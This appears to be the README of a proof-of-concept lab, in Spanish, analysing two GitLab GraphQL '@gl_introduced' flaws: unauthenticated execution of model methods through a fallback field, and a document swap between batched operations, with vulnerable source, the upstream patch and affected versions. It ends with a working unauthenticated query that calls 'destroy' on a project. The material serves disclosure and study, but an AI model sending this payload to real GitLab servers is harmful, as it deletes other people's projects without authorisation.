
Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo.
@gl_introduced de GitLab GraphQLUn laboratorio de reproducción para dos errores relacionados en la funcionalidad de filtro de versiones de GraphQL de GitLab (la directiva @gl_introduced). Ambos residen en la misma área funcional, se corrigen con el mismo parche upstream y ambos permiten que una solicitud GraphQL llegue a rutas de código que nunca declaró:
destroy) en el modelo detrás de cualquier tipo GraphQL, con solo nombrar un campo que no existe y etiquetarlo con @gl_introduced.| Afectado | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Corregido | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Objetivo del laboratorio | gitlab/gitlab-ce:19.2.2-ce.0 (última compilación antes de la corrección) |
| Desencadenante | Directiva GraphQL @gl_introduced, sola o dentro de un lote |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Todo lo que está bajo src/ es código fuente upstream textual, nunca reimplementado: el cargador superpone src/vuln o src/patched sobre src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que una consulta haga referencia a un campo que aún no existe en un tipo sin que la solicitud falle; está pensado para despliegues progresivos (rolling deploys), donde el esquema de un nodo antiguo aún no tiene un campo que un nodo más nuevo ya incluye. Su override de get_field comprueba si el campo solicitado falta y la solicitud está marcada con contain_future_fields y, si es así, devuelve un campo sintético en lugar de lanzar una excepción:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
El problema: este GraphQL::Schema::Field se construye sin método de resolución, sin clase de resolución y sin bloque. Entonces se aplica la resolución de campo predeterminada de graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym es el nombre del campo, en notación underscore; es decir, exactamente la cadena que el atacante puso en la consulta. Si el objeto detrás del tipo GraphQL (el modelo ActiveRecord) tiene, casualmente, un método público real de cero argumentos con ese nombre, graphql-ruby lo invoca y devuelve su resultado (coercionado al tipo). fallback_value: nil solo se aplica cuando el método realmente no existe; no hace nada para impedir que uno real se ejecute.
Por lo tanto: consulta cualquier tipo con un campo nombrado como un método destructivo real — destroy, por ejemplo — etiquétalo con @gl_introduced para que sobreviva hasta la ejecución, y el método se ejecuta.
IntroducedTracer implementa el resto de la funcionalidad de filtro de versiones a través de dos hooks de traza de graphql-ruby: parse (una vez por operación) y execute_query (una vez por operación). En la compilación vulnerable, almacena su estado por operación en variables de instancia simples en el objeto de traza:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
El problema: graphql-ruby comparte UNA instancia de traza entre todas las operaciones de una solicitud multiplexada, y las analiza todas antes de ejecutar cualquiera de ellas. Así, en un lote de dos operaciones:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 lleva un campo futuro @gl_introduced)Después del análisis, solo sobrevive el estado de la última operación. Luego se ejecuta:
execute_query(op1) → la marca es true, por lo que el documento de op1 se sobrescribe con op2_doc y se vuelve a preparar → la ranura de op1 ejecuta la operación de op2.op1 declaró una lectura; ejecuta la escritura de op2.
patch-19.2.2-to-19.2.4.diff cierra ambos:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Sin cabecera Authorization. Una operación, sin lote. destroy no es un campo real en Project; ni siquiera existe en el esquema, pero la directiva hace que FutureFieldFilter lo elimine antes de la validación estática y active contain_future_fields para la ejecución, donde get_field devuelve un campo sin resolver llamado destroy y graphql-ruby llama a project.public_send(:destroy).